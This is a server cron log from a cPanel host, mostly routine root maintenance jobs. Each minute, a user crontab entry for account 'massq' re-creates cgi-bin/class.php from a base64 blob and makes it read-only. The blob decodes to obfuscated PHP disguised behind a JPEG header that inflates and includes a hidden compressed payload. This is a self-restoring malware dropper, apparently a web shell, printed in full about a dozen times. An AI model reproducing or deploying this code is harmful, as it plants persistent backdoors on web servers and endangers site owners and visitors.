Sep  7 15:30:01 server CROND[21006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:30:01 server CROND[21008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:30:01 server CROND[21005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:30:01 server CROND[21007]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:30:01 server CROND[21018]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 15:31:01 server CROND[21830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:31:01 server CROND[21831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:31:01 server CROND[21832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:32:01 server CROND[22216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:32:01 server CROND[22217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:32:01 server CROND[22218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:33:01 server CROND[22609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:33:01 server CROND[22610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:33:01 server CROND[22611]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:34:01 server CROND[23255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:34:01 server CROND[23256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:34:01 server CROND[23257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:35:01 server CROND[23648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:35:01 server CROND[23649]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 15:35:01 server CROND[23652]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 15:35:01 server CROND[23656]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 15:35:01 server CROND[23657]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 15:35:01 server CROND[23658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:35:01 server CROND[23659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:35:01 server CROND[23660]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:35:01 server CROND[23654]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:36:01 server CROND[24513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:36:01 server CROND[24514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:36:01 server CROND[24515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:37:01 server CROND[24952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:37:01 server CROND[24951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:37:01 server CROND[24953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:38:01 server CROND[25327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:38:01 server CROND[25328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:38:01 server CROND[25329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:39:01 server CROND[25808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:39:01 server CROND[25809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:39:01 server CROND[25811]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 15:39:01 server CROND[25810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:40:01 server CROND[26203]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 15:40:01 server CROND[26204]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 15:40:01 server CROND[26205]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 15:40:01 server CROND[26207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:40:01 server CROND[26208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:40:01 server CROND[26209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:40:01 server CROND[26206]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:40:01 server CROND[26210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:41:01 server CROND[27107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:41:01 server CROND[27109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:41:01 server CROND[27108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
